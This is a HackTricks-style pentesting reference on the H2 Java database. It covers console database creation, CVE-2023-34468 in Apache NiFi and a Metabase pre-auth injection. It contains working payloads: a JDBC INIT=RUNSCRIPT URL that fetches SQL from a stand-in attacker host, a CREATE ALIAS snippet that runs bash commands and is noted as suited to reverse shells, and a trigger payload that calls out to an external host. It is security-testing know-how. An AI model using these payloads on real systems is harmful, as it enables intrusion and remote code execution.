// HackTricks · Network Services

H2 - Java SQL database

H2 - Java SQL database

H2 is a Java SQL database that supports embedded and server modes. See the official documentation.[1]

Access

With an embedded H2 URL, connecting to a nonexistent database creates it by default, and the supplied user becomes its administrator. Remote creation through the H2 Console or a server interface is disabled by default in current versions; it must have been explicitly enabled to use this behavior remotely.[1]

H2 Console connection form configured for a new database

The console can also connect to another supported database when its JDBC URL, database name, and credentials are known:

H2 Console connection form configured for an existing database

This technique appeared in the Hack The Box machine Hawk.

RCE with database access

When an attacker can execute SQL with sufficient privileges, H2 aliases can expose Java methods and lead to command execution in the database process. The referenced proof of concept demonstrates this technique.[2]

H2 JDBC URL / connection-pool injection

If an application lets you edit an H2 JDBC URL (for example through a DB connection-pool config page), treat it as a potential code-execution surface. H2 can run SQL automatically when a connection opens using INIT=, and RUNSCRIPT can pull that SQL from an attacker-controlled URL. In Apache NiFi this was exposed as CVE-2023-34468 in DBCPConnectionPool / HikariCPConnectionPool through 1.21.0; 1.22.0 rejects H2 JDBC URLs for that vulnerable surface.[4][6]

Typical workflow:[4][6][8]

  1. Change the URL to something like jdbc:h2:mem:maint;INIT=RUNSCRIPT FROM 'http://ATTACKER/poc.sql'.
  2. Force the target to open a new connection (disable/re-enable the pool, restart the dependent job, or trigger reconnection another way).
  3. Serve poc.sql from a simple HTTP server and watch the access logs to confirm the trigger. Stop scheduled tasks while iterating payloads because some apps will reconnect and fetch the script repeatedly.

A common second stage is to register a Java-backed function with CREATE ALIAS and turn SQL execution into OS command execution:[5][7]

CREATE ALIAS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
  String[] c = {"bash", "-c", cmd};
  java.util.Scanner s = new java.util.Scanner(
    Runtime.getRuntime().exec(c).getInputStream()
  ).useDelimiter("\A");
  return s.hasNext() ? s.next() : "";
} $$;
CALL SHELLEXEC('id');

Using bash -c keeps redirections, pipes, and & working for reverse-shell payloads; without a shell wrapper, Runtime.getRuntime().exec(...) does not interpret those metacharacters for you.[7][8]

NiFi note: before spending time on the H2 path, check whether the user can create or schedule processors such as ExecuteProcess. In NiFi, that level of flow administration is already equivalent to OS command execution even without the H2-specific bug.[6][8]

H2 SQL Injection to RCE

Assetnote demonstrated how an H2 connection-string injection in Metabase could create a JavaScript trigger and obtain pre-authentication remote code execution. The payload below is an abbreviated example from that research.[3]

[...]
"details":
    {
        "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
        "advanced-options": false,
        "ssl": true
    },
[...]

References